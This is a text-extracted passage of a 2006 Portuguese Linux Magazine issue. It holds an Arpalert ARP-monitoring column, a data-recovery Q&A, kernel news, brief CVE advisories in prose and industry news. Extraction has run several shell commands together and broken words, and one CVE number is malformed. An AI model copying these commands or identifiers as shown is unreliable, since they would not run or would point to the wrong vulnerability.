Minha escolha para um fiel cão de guarda é o Arpa-lert [1]. Seu criador Thierry Fournier recomenda o seguinte encanto para soltar a fera na selva:

./configure --prefix=/usr/localmakemake install

Essa série de comandos instala o programa em /usr/local/sbin, e o arquivo de configuração arpalert.conf em /usr/local/etc/arpalert.

Em meus experimentos iniciais, decidi usar uma rede que me permitisse grande visibilidade, e então usei minha rede doméstica. Estou no fim de semana, minha esposa foi à biblioteca local, então minha rede não deve passar de quatro ou cinco máquinas. Iniciei o Arpalert assim:

/usr/local/sbin/arpalert

Depois, esperei para ver o que aconteceria. A ferramen-ta rapidamente deduziu que eu queria usar a eth0; bem adivinhado, já que é a única interface de rede da máquina. Se você tiver mais de um adaptador de rede, talvez prefira ajudar o programa especificando a opção -i, que aponta para a interface correta.

Num primeiro momento, deixei de fora o parâmetro que usa o modo daemon, -d – no entanto, ele é neces-sário para se monitorar na tela o que o Arpalert está fazendo. As coisas começaram a acontecer bastante rápido: meu cão de guarda detectou os endereços MAC das quatro máquinas numa rápida sucessão, incluindo

uma impressora e um roteador WLAN. Esses dados foram gravados no arquivo /usr/local/var/lib/ar-palert/arpalert.leases sob o formato MAC IP.

Como se tratava de uma rede pequena, eu tinha bastante certeza de que o Arpalert descobrira todos os endereços relevantes após um curto período. Saí do programa e depois copiei o arquivo de endereços, arpalert.leases, para /usr/local/etc/arpalert/maclist.allow, antes de reiniciar o programa. A partir de ago-ra, o Arpalert mostrará uma mensagem no console, ou criará uma entrada nos registros, sempre que de-tetar um endereço que não esteja especificado em maclist.allow.

Para testar isso, liguei outra máquina, e rapidamente fui alertado da presença do “invasor” da rede. O ende-reço IP é 0.0.0.0 porque, nesse ponto, o computador não foi servido pelo daemon DHCP. Eu poderia usar a opção -e para fazer com que o Arpalert executasse um script, que por sua vez me enviaria um email ou até mesmo faria diretamente alterações mais drásticas, como modificar minhas regras de filtro de pacotes.

ConclusõesO Arpalert se saiu muito bem em minha pequena rede, e estou convencido de que será útil àqueles que precisarem monitorar redes pequenas de alta seguran-ça, como as LANs sem fio com, no máximo, poucas dezenas de máquinas. Em um ambiente de maiores dimensões, o programa necessitaria de muita atenção manual, isso é, se funcionasse – pois tanto a segmen-tação quanto a construção de VLANs provavelmente enganariam o Arpalert. ■

Quem vigia o ARP?

Charly KühnastÉ comum a política corporativa de proibir a conexão de hardware não-autorizado à rede da empresa, inclusive com pesadas penas em caso de descumprimento. Concordando ou não com isso, como se descobre que alguém está tentando ligar um laptop ilegal à sua Ethernet?

As coisas começaram a acontecer bastante rápido: meu cão de guarda detectou os endereços MAC das quatro máquinas numa rápida sucessão.

Mais Informações[1] Arpalert: http://www.arpalert.org

O autorCharly Kühnast é administrador de sis-temas Unix no datacenter Moers, per-to do famoso rio Reno, na Alemanha. Lá ele cuida, principalmente, dos firewalls.

http://supertuxbr.blogspot.com

Page 13: 26 - Web 2.0_dez_2006

© 2006 Intel Corporation, Intel, the Intel logo, Pentium, Itanium, Intel Xeon and VTune are trademarks or registered trademarks of Intel Corporation or its subsidiaries in the United Statesand other countries. *Other names and brands maybe claimed as the property of others.

Itautec0800 121444 www.itautec.com.br/intel

Katalogo 0800 7729897 www.katalogo.com.br/intel

MStech (11) 5080-3838 www.mstech.com.br/intel

Strattus (11) 3531-6550 www.strattus.com.br/intel

Tech Digital (11) 5181-1852 www.techdigital.com.br/intel

Transforme o poder do MultiCore em aplicativos de alto-desempenho. Tenha seus aplicativos preparados para o processamento paralelo e escalável.

Faça certo na primeira vez:

Intel® Threading Analysis ToolsLocaliza os problemas de threadings latentes com visualização em tempo real.

Compiladores Intel C++ e FortranAumenta o desempenho sem mudar o ambiente de desenvolvimento

Analisadores de Desempenho Intel VTune™ Identifica de forma bastante rápida gargalos de desempenho nos aplicativos

Intel Integrated Performance Primitives Acesse bibliotecas de rotinas multimídia otimizadas para múltiplas plataformas

Intel Math Kernel Library Aumenta o desempenho de aplicativos através do uso de rotinas otimizadas como BLAS, FFT, LAPACK, incluindo suporte a MPI

“As ferramentas de threading da Intel tem acelerado nosso ciclo de desenvolvimento imensamente”.

Dana BatalliDiretora de Desenvolvimento do RenderMan

Pixar

LinuxMag80206.qxp 8/2/06 10:00 AM Page 1

http://supertuxbr.blogspot.com

Page 14: 26 - Web 2.0_dez_2006

14

CO

LUN

A

http://www.linuxmagazine.com.br

Ferramentas abertas para discos rígidos Apesar de nosso escritório rodar inteiramente sobre uma rede de thin clients com Código Aberto, estamos enfrentando problemas com uma pilha crescente de discos rígidos inutili-záveis. Eu gostaria de saber se existem ferramentas de código aberto no Linux que consigam recuperar dados e consertar discos estragados.

Resposta: Consertar falhas em discos rígidos com uma so-lução completamente baseada em software é difícil através de uma interface multiuso fácil de usar, pois a ferramenta sempre requer um certo conhecimento sobre o hardware e a forma como os dados são armazenados no disco. Há algumas ferra-mentas de modo texto que você pode usar para as diferentes partes da recuperação dos dados.

Comece fazendo uma cópia fi el da partição do disco rí-gido. Esse deve ser um dos primeiros passos, pois, em discos “parcialmente danifi cados”, cada acesso a setores defeituosos, mesmo que somente para leitura, pode aumentar o estrago. Em geral, deve-se sempre trabalhar com uma cópia dos dados que se deseja recuperar.

dd-rescue /dev/hda1 hda1.img

hda1.img agora é uma cópia, bit por bit, da primeira partição de seu disco mestre ligado ao primeiro canal IDE. As ferramentas de reparo de sistemas de arquivos agora já podem trabalhar com essa cópia, em vez de mexerem com o disco danifi cado. Isso é absolutamente importante, já que estruturas de dados defeituosas eventualmente não podem ser reparadas no disco problemático devido a setores não graváveis. Com o uso da cópia totalmente gravável no lugar do disco original, essas ferramentas conseguirão alterar o sistema de arquivos para um estado montável (pelo menos, é esse o objetivo da maioria das tarefas de recuperação).

Se a tabela de partições do disco também estiver danifi cada e não puder ser reparada pelo testdisk, que é uma excelente ferramenta para análise de geometria de discos rígidos e recu-peração de partições, será necessário copiar o disco inteiro, e não apenas a partição a ser recuperada, com o dd-rescue.

Dependendo do sistema de arquivos que costumava se alojar na partição danifi cada, você pode tentar rodar as ferramentas de recuperação respectivas, como o dosfsck para sistemas de arquivos DOS, FAT12, FAT16 e FAT32, o e2fsck para sistemas Ext2 e Ext3, ou o reiserfsck para ReiserFS. Talvez seja preciso usar as opções --rebuild-tree e --rebuild-sb com a cópia da partição. Cuidado: se a partição não for um dispositivo de blocos, algum tipo de opção “forçada” pode ser necessária para fazer o programa trabalhar com um arquivo.

Se a estrutura do sistema de arquivos for reparada com sucesso, já deve ser possível montá-lo como loopback:

mkdir -p /media/recuperacaomount -o loop,ro -t tipo hda1.img /media/recuperacao

Isso lhe permite acessar o sistema de arquivos direta-mente e criar um arquivo tar:

cd /media/rescuetar -zcpPvf /tmp/rescued-hda1.tar.gz ./

Em alguns casos, é impossível recuperar a estrutura do sistema de arquivos. Se for um sistema baseado em árvores b+, como o ReiserFS e o XFS, alguns dados que faziam parte de arquivos podem vir a fi car espalhados por todo o disco, e então será necessário procurar manualmente o início e o fi m dos arquivos. É nesse ponto que a recuperação de dados pode se tornar muito dispendiosa, tanto em relação ao tempo quan-to ao esforço, já que exige a busca manual do início e do fi m das estruturas lógicas dos dados para inserção em arquivos. É importante lembrar também que os dados não fi cam sempre em blocos contínuos. Se você tiver sorte, há ferramentas que ajudam na recuperação de tipos específi cos de arquivos, como o photorec, que procura imagens e fi lmes baseados em JPEG espalhados num determinado conjunto de dados brutos.

Ao procurar tipos de dados arbitrários, pode ser necessário usar um editor hexadecimal de discos, como o lde e o hexedit, além de procurar assinaturas de arquivos, e usar sua melhor lembrança de qual era o tamanho do arquivo, antes de salvar de volta seus dados. Esse processo pode ser bastante difícil, pois sistemas de arquivos com journal freqüentemente possuem diversas cópias de um único arquivo da partição em vários estados diferentes. É necessário encontrar e salvar todos eles, e só depois verifi car qual parece estar correto. Um pouco de Perl pode ajudar bastante a automatizar esse processo com um script. ■

Pergunte ao Klaus!

Klaus KnopperEsta coluna é baseada na seção “Ask Klaus!”, publicada na Linux Magazine International.

O autorKlaus Knopper é o criador do Knop-pix e co-fundador do evento Linux-Tag. Atualmente ele trabalha como pro-fessor, programador e consultor.

Se for um sistema baseado em árvores b+, como o ReiserFS e o XFS, alguns dados que faziam parte de arquivos podem vir a fi car espalhados por todo o disco.

http://supertuxbr.blogspot.com

Page 15: 26 - Web 2.0_dez_2006

http://supertuxbr.blogspot.com

Page 16: 26 - Web 2.0_dez_2006

16

CO

LUN

A

http://www.linuxmagazine.com.br

Git gráficoPaul Mackerras criou o gitool, uma ferramenta gráfica para fazer commits para o git, o sistema de controle de versões usado para gerenciar o código-fonte do kernel. A ferramenta permite que os usuários criem e enviem mensagens de commit, e tam-bém mostra listas de arquivos com seu respectivo status como novo ou modificado, permitindo assim que o leitor escolha os arquivos que deseja visualizar, com base nesse status.

Linus Torvalds gostou da ferramenta, porém tem algumas objeções significativas – por exemplo, desaprovou o fato de o gitool não ser simplesmente um novo modo para o gitk, o na-vegador de repositórios git que já existe. Fora isso, as principais restrições de Linus são apenas em relação à interface do usuário, e não aos recursos de interação com o repositório.

Dependências gráficasRay Lehtiniemi escreveu uma pequena ferramenta chamada headergraphs para gerar gráficos das dependências dos cabeça-lhos do kernel. As imagens que o programa produz são bastan-te interessantes, com linhas suaves e fluidas, e com diferentes formas representando as relações distintas entre arquivos.

As pessoas parecem estar se divertindo bastante com o pro-grama, e Ray tem sido receptivo a sugestões até agora, migran-do o formato do arquivo de saída, de PostScript para PNG, e aumentando a densidade de informações de cada gráfico. Os exemplos de gráfico que Ray criou também revelam a comple-xidade de algumas dependências dos cabeçalhos do kernel.

Para mais informações sobre o headergraphs, assim como exemplos de imagens geradas por ele, veja sua pá-gina no kernel.org [1].

Caça ao spamDurante anos, os administradores da lista de discussão do kernel Linux trabalharam duro para bloquear o spam com regras confeccionadas com grande cuidado, mas agora deci-

diram usar o bogofilter para automatizar esse processo. Um de seus primeiros passos públicos foi começar a treinar o filtro bayesiano com os emails que chegavam, sem de fato bloquear qualquer mensagem.

Após algum tempo avaliando o processo, Matti Aarnio e o resto dos administradores consideraram o bogofilter capaz de distinguir satisfatoriamente mensagens legítimas de spam, e então ativaram o recurso de filtragem, tornando a linux-kernel uma lista protegida pelo bogofilter.

Após quase um mês, no entanto, alguns usuários relataram que o problema do spam parecia estar pior do que jamais fora, e alguns emails legítimos estavam gerando falsos positivos – em-bora Matti tenha afirmado que apenas dez emails legítimos estavam sendo marcados como spam a cada semana.

Matti avaliou que os algoritmos bayesianos do bogofilter já te-riam aprendido tudo o que poderiam, e portanto a quantidade de spam passando pelos filtros tenderia a permanecer constante.

Ele também lembrou que converter a lista de um fórum aberto, onde qualquer pessoa podia publicar uma mensagem, para um fórum fechado, onde somente os membros podiam postar, estava se tornando uma solução crescentemente atra-ente para o problema do spam. Entretanto, Linus Torvalds sempre se opôs a isso, afirmando que é importante facilitar ao máximo a participação dos usuários, seja relatando falhas ou juntando-se às discussões.

Mas Linus também entrou nessa última discussão, di-zendo que o bogofilter também não era uma boa solução contra spam, já que os filtros bayesianos eram insuficientes para eliminar todo o spam. Em seu lugar, Linus recomen-dou o SpamAssassin. Mas, como Alan Cox apontou, “todo bom spammer passa suas mensagens pelo SpamAssassin, acrescentando textos aleatórios até conseguirem uma boa pontuação, e só então lançam o email”.

Afinal, parece não haver uma boa forma de combate ao spam na lista linux-kernel. Marc Perkel ofereceu os serviços do junkemailfilter.com, e talvez os administradores da lista do kernel devessem cogitar uma tentativa com essa ferramenta. ■

Crônicas do kernel

Zack BrownEsta coluna é baseada na seção Zack’s Kernel News, publicada na Linux Magazine International, e sintetiza o imenso tráfego da lista de discussão do kernel.

... é importante facilitar ao máximo a participação dos usuários, seja relatando falhas ou juntando-se às discussões.

Mais Informações[1] Headergraphs:

http://www.kernel.org/pub/linux/kernel/people/rayl/headergraphs/

O autorA lista de discussão Linux-Kernel é o núcleo das atividades de desenvolvimento do kernel. Zack Brown consegue se perder nesse oceano de mensagens e extrair significado! Sua newslet-ter Kernel Traffic já está completando 5 anos.

http://supertuxbr.blogspot.com

Page 17: 26 - Web 2.0_dez_2006

Hospedagemde Sites e Servidores

INTERNET PARA PROFISSIONAIS DE INTERNET

Monitoramentode Rede

InternetData Center

Servidoresde Alta Disponibilidade

4003-1001 www.plugin.com.br

Gab

arit

o

Anu_Lunix_015.qxd 7/5/06 4:23 PM Page 1

http://supertuxbr.blogspot.com

Page 18: 26 - Web 2.0_dez_2006

18

SE

GU

RA

A

http://www.linuxmagazine.com.br

➧PHPPHP é uma linguagem interpretada e orientada à Web. Foram descobertas diversas vulnerabilidades no PHP4, que podem levar à execução de código arbitrário.

A função exif_data, do módulo Exif do PHP anterior à versão 4.4.1, permite que agressores remotos causem uma negação de serviço (devido a um laço infinito) através de uma imagem JPEG mal formada. (CVE-2005-3353)

A função zend_hash_del_key_or_index, do arquivo zend_hash.c de PHP anterior ao 4.4.3 e 5.x anterior ao 5.1.4, pode fazer a função zend_hash_del apagar o elemento errado, o que impede que uma variável seja zerada mesmo quando a função unset do PHP for chamada. Isso pode levar ao uso do valor da variável para operações importantes relativas à segurança do sistema. (CVE-2006-3017)

Foram descobertos vários estouros de buffer nas funções str_re-peat e wordwrap, em ext/standard/string.c, nas versões de PHP an-teriores a 5.1.5. Quando explorados em sistemas de 64 bits, esses estouros causam efeitos ainda não especificados, e oferecem vetores de ataque. (CVE-2006-4482)

Um estouro de buffer nas versões de PHP anteriores a 5.2.0 permite que um agressor remoto execute código arbitrário atra-vés de cadeias de caracteres UTF-8 maliciosamente criadas como entrada para as funções htmlentities e htmlspecialchars. (CVE-2006-54565) ■Referência no Debian: DSA-1206

Referência no Mandriva: MDKSA-2006:196

Referência no Red Hat: RHSA-2006:0730

Referência no Ubuntu: USN-375-1

Postura das principais distribuições Linux quanto à segurançaDistribuição Referência de Segurança Comentários

Conectiva Info: distro2.conectiva.com.br/ Lista: [email protected] e distro2.conectiva.com.br/lista Referência: CLSA-... 1

Possui uma página específica; não há link para ela na página prin-cipal. Os alertas são sobre segurança, mas distribuídos através de emails assinados com a chave PGP da empresa para assegurar sua autenticidade. Contém também links para os pacotes atualiza-dos e para fontes de referência sobre o problema sendo corrigido.

Debian Info: www.debian.org/security Lista: lists.debian.org/debian-security-announce Referência: DSA-… 1

Alertas de segurança recentes são colocados na homepage e dis-tribuídos como arquivos HTML com links para os patches. O anún-cio também contém uma referência à lista de discussão.

Gentoo Info: www.gentoo.org/security/en/glsa Fórum: forums.gentoo.org Lista: www.gentoo.org/main/en/lists.xml Referência: GLSA: … 1

Os alertas de segurança são listados no site de seguran-ça da distribuição, com link na homepage. São distribuí-dos como páginas HTML e mostram os comandos necessá-rios para baixar versões corrigidas dos softwares afetados.

Mandriva Info: www.mandriva.com/security Lista: www1.mandrdrivalinux.com/en/flists.php3#2security Referência: MDKSA-… 1

A Mandriva tem seu próprio site sobre segurança. Entre outras coisas, inclui alertas e referência a listas de discussão. Os aler-tas são arquivos HTML, mas não há links para os patches.

Red Hat Info: www.redhat.com/errata Lista: www.redhat.com/mailing-lists Referência: RHSA-… 1

A Red Hat classifica os alertas de segurança como “Erratas”. Proble-mas com cada versão do Red Hat Linux são agrupados. Os alertas são distribuídos na forma de páginas HTML com links para os patches.

Slackware Info: www.slackware.com/security Lista: www.slackware.com/lists (slackware-security) Referência: [slackware-security] … 1

A página principal contém links para os arquivos da lis-ta de discussão sobre segurança. Nenhuma informação adi-cional sobre segurança no Slackware está disponível.

Suse Info: www.novell.com/linux/security Lista: www.novell.com/linux/download/updates Referência: suse-security-announce Referência: SUSE-SA … 1

Após mudanças no site, não há mais um link para a página so-bre segurança, que contém informações sobre a lista de discus-são e os alertas. Patches de segurança para cada versão do Suse são mostrados em vermelho na página de atualizações. Uma cur-ta descrição da vulnerabilidade corrigida pelo patch é fornecida.

1 Todas as distribuições indicam, no assunto da mensagem, que o tema é segurança.

➧ ClamAVDiversas vulnerabilidades foram descobertas no antivírus

ClamAV, podendo levar à execução de código arbitrário.Damian Put descobriu um estouro de inteiros em

versões anteriores do ClamAV, os quais podem permitir que um agressor remoto realize um ataque de negação de serviço (travamento do serviço de varredura) e execute código arbitrário através de um arquivo Portable Executa-ble (PE). (CVE-2006-4182)

Outra vulnerabilidade descoberta por Damian permite que um agressor remoto cause uma negação de serviço através de um arquivo HTML compactado (CHM) e especialmente criado para ler uma posição inválida de memória. (CVE-2006-5295)

A versão 0.88.5 do ClamAV corrige a falha. ■Referência no Debian: DSA-1196

Referência no Gentoo: GLSA-200610-10

Referência no Mandriva: MDKSA-2006:184

Referência no Suse: Suse-SA:2006:060

➧ pam_ldapSteve Rigler descobriu que o módulo PAM para auten-ticação em servidores LDAP (pam_ldap) não retorna um erro quando o servidor LDAP envia como resposta uma mensagem de controle do tipo PasswordPolicyResponse. Com isso, a função pam_authenticate retorna um código de sucesso mesmo que a autenticação tenha falhado, o que pode dar a um agressor o acesso a uma conta suspensa. (CVE-2006-5170) ■Referência no Debian: DSA-1203

http://supertuxbr.blogspot.com

Page 19: 26 - Web 2.0_dez_2006

Linux Magazine #26 | Dezembro de 2006

➧ MuttUma condição de corrida presente na função safe_open do cliente de email Mutt, versões 1.5.12 e anteriores, ocorre na criação de arquivos temporários em um sistema de arquivos NFS, permitindo que usuários locais sobrescrevam arqui-vos arbitrários devido a limitações do uso da flag O_EXCL nesse mesmo sistema de arquivos. (CVE-2006-5297)

A função mutt_adv_mktemp no Mutt, versões 1.5.12 e anteriores, não verifica corretamente se os arquivos temporários foram criados com permissões restritas, o que poderia permitir que usuários locais criassem arquivos com permissões fracas através de uma condição de corrida entre as chamadas às funções mktemp e safe_open. (CVE-2006-5298) ■Referência no Mandriva: MDKSA-2006:190

Referência no Ubuntu: USN-373-1

➧ ImageMagick e GraphicsMagick

Múltiplas falhas de estouro de buffer no GraphicsMagick anteriores à ver-são 1.1.7 e no ImageMagick anterior à versão 6.0.7 permitem que agressores auxiliados por usuários causem uma negação de serviço e possivelmente executem código arbitrário através de (I) uma imagem DCM incorretamen-te processada pela função ReadDCMImage em coders/dcm.c, ou (II) uma imagem PALM incorretamente processada pela função ReadPALMImage em coders/palm.c. ■Referência no Mandriva: MDKSA-2006:193

Referência no Ubuntu: USN-372-1

➧ PostgreSQLPostgreSQL é um dos principais ban-cos de dados livres. Uma vulnerabi-lidade no PostgreSQL permite que usuários remotos autenticados causem uma negação de serviço (travamento do daemon) através do uso de certas funções agregadas em uma operação UPDATE incorretamente processada. (CVE-2006-5540)

Outra negação de serviço nas versões 7.4.x, 8.0.x e 8.1.x do PostgreSQL permite que usuários autenticados travem o dae-mon através da coerção de um elemento desconhecido para um do tipo ANYARRAY. (CVE-2006-5541)

Por último, outra vulnerabilidade no PostgreSQL 8.1.x permite que um usuário autenticado desencadeie uma

negação de serviço relacionada ao registro da duração de mensagens de tipo Execute com protocolo V3 para operações de COMMIT e ROLLBACK. (CVE-

2006-5542) ■Referência no Mandriva: MDKSA-2006:194

Referência no Ubuntu: USN-369-1, USN-

369-2

➧ WiresharkO Wireshark, antes conhecido como Ethereal, é uma ferramenta de escuta (sniffing) de redes muito utilizada em análises de segurança de redes.

Foram encontradas diversas vulne-rabilidades nos dissectors das versões do Wireshark anteriores à 0.99.4. (CVE-

2006-5740)Uma vulnerabilidade no dissector

HTTP da versão 0.99.3 permite que um agressor remoto cause uma negação de serviço (travamento) através de vetores não especificados.

Outra vulnerabilidade não especi-ficada no dissector das versões 0.10.11 a 0.99.3 permite que agressores remo-tos causem uma negação de serviço (travamento) através de certos veto-res que acionam um de-referencia-mento nulo.

Uma vulnerabilidade não especificada no dissector LDAP da versão 0.99.3 per-mite que um agressor remoto desencadeie uma negação de serviço (travamento) através de um pacote LDAP especial-mente manipulado. ■Referência no Mandriva: MDKSA-2006:195

➧ Drivers aceleradores Nvidia

Derek Abdine descobriu um estouro de buffer no driver binário acelerado da Nvidia para o Xorg. O driver não verifica corretamente o tamanho dos buffers usados para renderizar carac-teres de texto. Ao mostrar cadeias de caracteres muito longas, o servidor Xorg poderia fechar. Se um usuário, tanto local quanto remoto, for levado a visualizar uma série de caracteres espe-cialmente criada, seja por meio de uma página web, documento ou qualquer outro programa, essa falha pode ser explorada e levar à execução de código arbitrário com privilégios de root ou ao travamento e fechamento do servidor gráfico. (CVE-2006-5379) ■Referência no Gentoo: GLSA-200611-03

Referência no Ubuntu: USN-377-1

http://supertuxbr.blogspot.com

Page 20: 26 - Web 2.0_dez_2006

20

NO

TÍC

IAS

http://www.linuxmagazine.com.br

➧ Debian e o Software não-LivreO Projeto Debian decidiu, através de processo de votação, não realizar o impeachment de seu atual líder, Anthony Towns. O resultado da votação foi, na realidade, uma surpresa, pois reforçou o apoio a Anthony e ao mo-vimento a favor de incentivos econômicos aos desenvolvedores, conhecida como Dunc Tank.

Outro resultado surpreendente coube à não-obrigatoriedade de que os fi rmwares distribuídos no Debian sejam livres (segundo a defi nição da seção 2 da defi nição de Software Livre adotada pelo projeto).

Essas decisões no Projeto Debian devem ajudar a acelerar a liberação da nova versão da distribuição, de codinome Etch, benefi ciando toda sua comunidade de usuários.

Através de um processo de votação, a comunidade Debian optou por não depor seu líder e por apoiar a iniciativa Dunc Tank. ■

➧ Aniversário e nova versão do BrOffi ce.orgO conjunto de aplicativos de escritório de código aberto mais

famoso do planeta, o BrOffi ce.org, teve sua versão mais recente lançada em conjunto com a comemoração de seis anos de sua existência. Com a atualização da versão do BrOffi ce.org, a Sun liberou também uma atualização (Update 4) para o StarOffi -ce 8, a suíte comercial de programas de escritório baseada no BrOffi ce.org. As principais novidades da nova versão do pacote de código aberto incluem um novo formato para a criação de plugins (.oxt), que agora podem ser escritos em Java, OooBasic

e algumas outras linguagens, de forma gráfi -ca. Além disso, a exportação para o formato PDF, um dos grandes diferenciais do pacote aberto em relação aos concorrentes proprie-tários, agora pode proteger imediatamente o documento contra alterações. ■

➧ Presente da AdobeApós o 3º Web 2.0 Summit, em São Francisco, EUA, a Adobe entregou à Mozilla Foundation a maior quantidade de código já recebida pela entidade. A doação compreende a Adobe ActionScript Virtual Machine (AVM), um dos componentes do Flash Player 9.

A linguagem ActionScript, desenvolvida pela Macromedia para a criação de animações em Flash, é bastante semelhante ao JavaScript. A última versão da linguagem da Macromedia, ActionScript 2, implementa ECMAScript 3 (ECMA-262 Edição 3), que por sua vez constitui a base do interpretador JavaScript desenvolvido pela Fundação Mozilla. O Flash Player 9 utiliza o novo compilador AVM2, que processa ActionScript 3, uma implementação da versão 4 ainda em desenvolvimento do ECMAScript.

A Fundação pretende agora integrar o novo código, sob a designação de Projeto Tamarin, a seu interpreta-dor JavaScript, o SpiderMonkey. A integração deverá ser completada até 2008, segundo as declarações dos representantes da Fundação Mozilla. Só então o meca-nismo será incluído no navegador Firefox. ■

A organização sem fins lucrativos Free Standards Group, dedicada a promover e disseminar padrões para o Código Aberto, em parceria com a O’Reilly Media, lançou o Linux Standard Base (LSB) Developer Network, LDN. O objetivo da empreitada é fomentar o desenvolvimento de aplicativos portáveis para Linux, tornando a LDN um repositório centralizado, tanto de documentação quanto de bibliotecas de software, e multiplataforma. Em relação à documentação, Tim O’Reilly informou que fornecerá livre acesso a sua biblioteca Linux aos inscritos na iniciativa.

Segundo o anúncio à imprensa, “ao utilizar as ferramentas e informações contidas no site, os desenvolvedores de software podem escrever seus aplicati-vos de acordo com as especificações da Linux Standard Base, e certificá-lo sob os serviços de teste e certificação do Free Standards Group, o que o habilita a ser aplicado em diversas distribuições Linux.”

A LDN tem o apoio de grandes personagens do cenário do Linux mundial, como HP, IBM, MySQL, Novell, Real Networks, Red Hat e outros. ■

A LSB Developer Network oferece docu-mentação e códigos para a construção de aplicativos compatíveis com diversas distribuições.

➧ Lançado o Linux Developer Network

http://supertuxbr.blogspot.com

Page 21: 26 - Web 2.0_dez_2006

21

| NOTÍCIASGerais

Linux Magazine #26 | Dezembro de 2006

➧ Lançado o GoboLinux 013Foi lançada neste mês a versão 013 do GoboLinux, que, a cada versão, gera polêmica em torno de sua nova proposta para a organização da árvore de di-retórios. O Gobo não utiliza um gerenciador de pacotes, como o RPM; no Gobo, os programas são organizados numa estrutura mais similar à utilizada no Mac OS X, onde cada programa é instalado em uma pasta separada.

Essa diferença faz com que o GoboLinux tenha uma aparência “menos Unix”, com diretórios como /Programs/Firefox/2.0, em vez de /usr/local/share. Isso gera elogios por parte daqueles que consideram a nova árvore mais simples e lógica, e críticas dos usuários Unix tradicionais re-sistentes a mudanças, embora o sistema seja também compatível com a árvore tradicional.

Criado no Brasil, o Gobo hoje é desenvolvido por uma comunidade in-ternacional: seu site está disponível em seis idiomas. Quem se interessar pela idéia de tornar o Linux menos críptico pode baixar o Live CD do Gobo, em www.gobolinux.org, e testar essa distribuição diferente. ■

➧ Shuttleworth ajuda KDEMark Shuttleworth, fundador e presidente da Canonical Ltd., empresa que financia o desenvolvimento do Ubuntu Linux, é o primeiro mecenas do projeto KDE. A comunicação foi feita durante o Linuxtag 2006, evento da comunidade do Software Livre alemã que ocorre todos os anos, dessa vez em Wiesbaden, Alemanha.

Enquanto o projeto KDE comemorava seus dez anos de existência, reconhecendo e agradecendo o trabalho árduo de toda a comunidade de desenvolvedores e co-laboradores, foi anunciado também o programa Suppor-ting Members, que possibilita a contribuição financeira contínua por parte de qualquer interessado em fazê-lo. Mark foi o primeiro a assumir o papel de patrono do projeto, apontando a importância crescente do KDE no Ubuntu, com o Kubuntu. ■

Mark Shuttleworth, presidente da Canonical, logo após anunciar que se tornara o primeiro patrono do projeto KDE.

NotasInstall Fest mundial MandrivaA Mandriva, fabricante da distribuição homônima Mandri-va Linux, realizou mais uma vez um Install Fest mundial. Durante o evento, que durou um dia inteiro e contou com 45 entidades de 34 cidades, foi instalado o Mandriva Li-nux 2007 nos computadores de todos os interessados que compareceram. Para isso, o único requisito era que fossem levados ao local de instalação o gabinete e as configura-ções de teclado e monitor do computador. Os participan-tes receberam também o direito a suporte remoto via chat diretamente com os desenvolvedores da distribuição.

Computador mais barato para todosO Programa Computador Para Todos, do Governo Federal, está revendo a configuração das máquinas que aderem ao progra-ma. Nos próximos meses, provavelmente veremos a extinção da unidade de disquetes, ou ao menos de sua obrigatorieda-de, além da atualização do hardware das máquinas, com 256 MB de memória tornando-se o mínimo necessário. O objeti-vo é que essas alterações acompanhem tanto os avanços no campo de TI quanto as reduções de preços que estes trazem.

Suse Linux pré-instaladoQuatro fabricantes de computadores desktop e laptops as-sinaram um acordo com a Novell para a venda de máqui-nas com o Suse Linux Enterprise Desktop 10 pré-instalado. Esse acordo foi precedido por outro da fabricante do sistema operacional com a Lenovo, em agosto, para a comercializa-ção de dois modelos do Thinkpad com Linux pré-instalado.

Latinoware 2006 em FozA cidade de Foz do Iguaçu, no Paraná, sediou a Conferên-cia Latino-Americana de Software Livre 2006, nos dias 16 e 17 de novembro. Com promoção da Itaipu Binacional e da Celepar (Companhia de Informática do Paraná), a tercei-ra edição da conferência contou com palestras, oficinas e sessões técnicas. Entre as personalidades presentes, ha-via representantes da Gnome Foundation, Celepar, ITI (Ins-tituto Nacional de Tecnologia da Informação) e Dataprev.

Plugin para ODF no WordFoi liberada pela Microsoft a primeira versão do plugin para importação de documentos no formato Open Docu-ment. O código do plugin, embora tenha sido financiado pela gigante de Redmond, é aberto. Segundo uma aná-lise do site Groklaw, a interoperabilidade fornecida pelo software ainda é ruim, com o BrOffice.org sendo signifi-cativamente mais competente na exportação para forma-tos do MS Office. No entanto, a análise lembra que o plu-gin ainda se encontra em fase de desenvolvimento.

Ext4 no kernel 2.6.19Após a aprovação da entrada do sistema de arquivos distribuído GFS2 no kernel 2.6.19, Linus Torvalds aceitou agora a inclusão do sistema Ext4 na mesma versão do kernel. O Ext4 consiste de avanços em relação ao siste-ma Ext3, padrão de diversas distribuições Linux, e seu desenvolvimento já está ocorrendo em ritmo acelera-díssimo. E isso tudo acontece logo após a liberação da versão 2.6.18, o que geralmente significa que não se-rão mais adicionados novos recursos à versão seguin-te (2.6.19, no caso), apenas correções de falhas. Com essas duas novidades no campo dos sistemas de ar-quivos, é provável que a próxima versão do kernel de-more o período já comum de quatro a seis semanas.

O Ext4 permitirá o uso de sistemas de arquivos de até 1024 Petabytes, ou 1 Exabyte, em sistemas de 64 bits. Em com-paração, o Ext3 suporta apenas volumes de até oito Te-rabytes, pois é limitado pela arquitetura de 32 bits.

➧ Smartphone com LinuxA FIC anunciou que lançará ano que vem um smartphone completamente modificável pelo usuário, obviamente rodando sobre Linux. O Neo1973, como o aparelho será chamado, integra um GPS e opera em modo quad-band, o que significa que pode ser utilizado em qualquer lugar do planeta.

A FIC utilizou sua própria plataforma aberta de desenvolvimento, o Open-MoKo, e financiou os desenvolvedores que participaram do projeto. O preço do aparelho, segundo o fabricante, será de US$ 350,00. ■

O smartphone Neo1973 será modificável pelo usuário e rodará Linux.

http://supertuxbr.blogspot.com

Page 22: 26 - Web 2.0_dez_2006

22

CO

RP

OR

ATE

http://www.linuxmagazine.com.br

CORPORATE | Notícias

➧ Microsoft e Novell selam acordo

Contrariando todas as declarações anteriores, em que afirmava não temer o Software Livre, ou que softwares de código aberto são inseguros, a Microsoft fechou um acordo com a Novell, fabricante do Suse Linux, uma das mais importantes distri-buições Linux no mercado corporativo. O acordo se estabele-ceu em torno da interoperabilidade dos sistemas de ambas as empresas, o Windows® e o Suse Linux Enterprise. Segundo a página do site da Novell que trata do assunto, na realidade foram fechados diversos acordos de colaboração, tanto técnica quanto relativa aos negócios.

Com esse acordo, a Microsoft recomendará oficialmente o Suse Linux Enterprise a seus clientes que desejarem migrar do Windows para o sistema operacional aberto. Além disso, a empresa de Redmond também distribuirá cupons de suporte e manutenção do SLES (Suse Linux Enterprise Server), au-mentando assim o alcance de mercado da Novell.

